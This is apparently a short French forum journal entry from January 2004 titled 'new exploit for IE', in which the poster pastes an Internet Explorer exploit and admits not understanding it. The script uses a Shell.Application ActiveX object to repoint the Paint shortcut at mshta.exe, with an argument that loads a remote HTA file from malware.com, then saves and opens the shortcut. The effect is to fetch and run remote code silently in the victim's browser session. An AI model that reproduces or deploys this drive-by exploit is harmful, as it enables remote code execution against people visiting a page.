http://www.internetaddict.be/index.cfm?PageID=11&nID=9601&a(...)
Le code est celui-ci :
Code:
<script>
// jelmer is in the zone
// 01.01.04 http://www.malware.com(...)
// adjust as required - many more setups
var objShell = new ActiveXObject("Shell.Application");
objFolder = objShell.NameSpace("C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Accessories");
objFolderItem = objFolder.ParseName("Paint.lnk");
objShellLink = objFolderItem.GetLink;
objShellLink.Path = "mshta.exe"
objShellLink.Arguments ="http://www.malware.com/poopware.hta(...)"
objShellLink.Save("C:\\jelmer.lnk");
objShell.Open("C:\\jelmer.lnk");
</script>
(le tout dans une page html)
JE comprend pas trop c'est quoi mshta.exe ni à ce qu'est censé faire poopware.hta (c'est un code bizarre)
PS : j'ai (…)
Journal Nouvel exploit pour IE :
7
jan.
2004
